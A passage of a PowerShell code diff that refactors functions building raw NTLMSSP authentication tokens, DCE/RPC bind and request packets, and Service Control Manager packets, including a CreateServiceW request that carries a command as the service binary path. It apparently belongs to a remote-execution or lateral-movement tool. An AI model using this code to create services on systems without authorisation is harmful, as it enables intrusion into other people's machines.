+ $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0))
+ $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2)
+ $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30))
+ $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3)
+ $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0))
+ $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e))
+ $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30))
+ $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c))
+ $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06))
+ $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a))
+ $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a))
+ $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2))
+ $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4)
+ $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04))
+ $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length)
+ $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
+ $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
+ $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags)
+ $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+
+ if($Version)
{
- $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version)
+ $NTLMSSPNegotiate.Add("Version",$Version)
}
- return $packet_NTLMSSPNegotiate
+ return $NTLMSSPNegotiate
}
-function Get-PacketNTLMSSPAuth()
+function New-PacketNTLMSSPAuth
{
- param([Byte[]]$packet_NTLM_response)
-
- [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length)
- $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0]
- [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12)
- $packet_ASN_length_1 = $packet_ASN_length_1[1,0]
- [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8)
- $packet_ASN_length_2 = $packet_ASN_length_2[1,0]
- [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4)
- $packet_ASN_length_3 = $packet_ASN_length_3[1,0]
-
- $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82))
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1)
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82))
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2)
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82))
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3)
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82))
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length)
- $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response)
-
- return $packet_NTLMSSPAuth
+ param([Byte[]]$NTLMResponse)
+
+ [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0]
+ [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0]
+ [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0]
+ [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0]
+
+ $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary
+ $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82))
+ $NTLMSSPAuth.Add("ASNLength",$ASN_length_1)
+ $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82))
+ $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2)
+ $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82))
+ $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3)
+ $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82))
+ $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length)
+ $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse)
+
+ return $NTLMSSPAuth
}
#RPC
-function Get-PacketRPCBind()
+function New-PacketRPCBind
{
- param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version)
-
- [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID)
-
- $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05))
- $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b))
- $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03))
- $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00))
- $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes)
- $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10))
- $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10))
- $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items)
- $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID)
- $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01))
- $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID)
- $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version)
- $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))
- $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00))
-
- if($packet_num_ctx_items[0] -eq 2)
+ param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion)
+
+ [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID)
+
+ $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary
+ $RPCBind.Add("Version",[Byte[]](0x05))
+ $RPCBind.Add("VersionMinor",[Byte[]](0x00))
+ $RPCBind.Add("PacketType",[Byte[]](0x0b))
+ $RPCBind.Add("PacketFlags",[Byte[]](0x03))
+ $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
+ $RPCBind.Add("FragLength",$FragLength)
+ $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00))
+ $RPCBind.Add("CallID",$call_ID)
+ $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10))
+ $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10))
+ $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00))
+ $RPCBind.Add("NumCtxItems",$NumCtxItems)
+ $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00))
+ $RPCBind.Add("ContextID",$ContextID)
+ $RPCBind.Add("NumTransItems",[Byte[]](0x01))
+ $RPCBind.Add("Unknown2",[Byte[]](0x00))
+ $RPCBind.Add("Interface",$UUID)
+ $RPCBind.Add("InterfaceVer",$UUIDVersion)
+ $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00))
+ $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))
+ $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00))
+
+ if($NumCtxItems[0] -eq 2)
{
- $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00))
- $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01))
- $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a))
- $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
+ $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
+ $RPCBind.Add("NumTransItems2",[Byte[]](0x01))
+ $RPCBind.Add("Unknown3",[Byte[]](0x00))
+ $RPCBind.Add("Interface2",$UUID)
+ $RPCBind.Add("InterfaceVer2",$UUIDVersion)
+ $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
+ $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
}
- elseif($packet_num_ctx_items[0] -eq 3)
+ elseif($NumCtxItems[0] -eq 3)
{
- $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00))
- $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01))
- $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
- $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36))
- $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00))
- $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01))
- $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46))
- $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00))
- $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a))
- $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04))
- $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
- $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2))
- $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))
+ $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
+ $RPCBind.Add("NumTransItems2",[Byte[]](0x01))
+ $RPCBind.Add("Unknown3",[Byte[]](0x00))
+ $RPCBind.Add("Interface2",$UUID)
+ $RPCBind.Add("InterfaceVer2",$UUIDVersion)
+ $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
+ $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36))
+ $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
+ $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00))
+ $RPCBind.Add("NumTransItems3",[Byte[]](0x01))
+ $RPCBind.Add("Unknown4",[Byte[]](0x00))
+ $RPCBind.Add("Interface3",$UUID)
+ $RPCBind.Add("InterfaceVer3",$UUIDVersion)
+ $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00))
+ $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00))
}
- if($packet_call_ID -eq 3)
+ if($call_ID -eq 3)
{
- $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a))
- $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02))
- $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00))
- $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
- $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2))
- $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))
+ $RPCBind.Add("AuthType",[Byte[]](0x0a))
+ $RPCBind.Add("AuthLevel",[Byte[]](0x02))
+ $RPCBind.Add("AuthPadLength",[Byte[]](0x00))
+ $RPCBind.Add("AuthReserved",[Byte[]](0x00))
+ $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00))
+ $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
+ $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
+ $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2))
+ $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))
}
- return $packet_RPCBind
+ return $RPCBind
}
-function Get-PacketRPCRequest()
+function New-PacketRPCRequest
{
- param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data)
+ param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data)
- if($packet_auth_length -gt 0)
+ if($AuthLength -gt 0)
{
- $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8
+ $full_auth_length = $AuthLength + $AuthPadding + 8
}
- [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length)
- [Byte[]]$packet_frag_length = $packet_write_length[0,1]
- [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length)
- [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length)
- $packet_auth_length = $packet_auth_length[0,1]
-
- $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05))
- $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00))
- $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00))
- $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags)
- $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
- $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length)
- $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length)
- $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID)
- $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint)
- $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID)
- $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum)
-
- if($packet_data.Length)
+ [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length)
+ [Byte[]]$frag_length = $write_length[0,1]
+ [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length)
+ [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1]
+
+ $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $RPCRequest.Add("Version",[Byte[]](0x05))
+ $RPCRequest.Add("VersionMinor",[Byte[]](0x00))
+ $RPCRequest.Add("PacketType",[Byte[]](0x00))
+ $RPCRequest.Add("PacketFlags",$Flags)
+ $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
+ $RPCRequest.Add("FragLength",$frag_length)
+ $RPCRequest.Add("AuthLength",$auth_length)
+ $RPCRequest.Add("CallID",$CallID)
+ $RPCRequest.Add("AllocHint",$alloc_hint)
+ $RPCRequest.Add("ContextID",$ContextID)
+ $RPCRequest.Add("Opnum",$Opnum)
+
+ if($data.Length)
{
- $packet_RPCRequest.Add("RPCRequest_Data",$packet_data)
+ $RPCRequest.Add("Data",$Data)
}
- return $packet_RPCRequest
+ return $RPCRequest
}
#SCM
-function Get-PacketSCMOpenSCManagerW()
+function New-PacketSCMOpenSCManagerW
{
param ([Byte[]]$packet_service,[Byte[]]$packet_service_length)
@@ -720,99 +739,110 @@ function Get-PacketSCMOpenSCManagerW()
$packet_referent_ID2 += 0x00,0x00
$packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1)
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length)
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length)
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service)
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2)
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00))
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00))
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00))
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf))
- $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00))
+ $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1)
+ $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length)
+ $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
+ $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length)
+ $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service)
+ $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2)
+ $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00))
+ $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00))
+ $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00))
+ $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00))
+ $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf))
+ $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00))
return $packet_SCMOpenSCManagerW
}
-function Get-PacketSCMCreateServiceW()
+function New-PacketSCMCreateServiceW
{
- param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length,
- [Byte[]]$packet_command,[Byte[]]$packet_command_length)
+ param([Byte[]]$ContextHandle,[Byte[]]$Service,[Byte[]]$ServiceLength,[Byte[]]$Command,[Byte[]]$CommandLength)
- $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
- $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
- $packet_referent_ID += 0x00,0x00
-
- $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command)
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00))
-
- return $packet_SCMCreateServiceW
+ $referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
+ $referent_ID = $referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $referent_ID += 0x00,0x00
+
+ $SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary
+ $SCMCreateServiceW.Add("ContextHandle",$ContextHandle)
+ $SCMCreateServiceW.Add("ServiceName_MaxCount",$ServiceLength)
+ $SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("ServiceName_ActualCount",$ServiceLength)
+ $SCMCreateServiceW.Add("ServiceName",$Service)
+ $SCMCreateServiceW.Add("DisplayName_ReferentID",$referent_ID)
+ $SCMCreateServiceW.Add("DisplayName_MaxCount",$ServiceLength)
+ $SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("DisplayName_ActualCount",$ServiceLength)
+ $SCMCreateServiceW.Add("DisplayName",$Service)
+ $SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00))
+ $SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("BinaryPathName_MaxCount",$CommandLength)
+ $SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
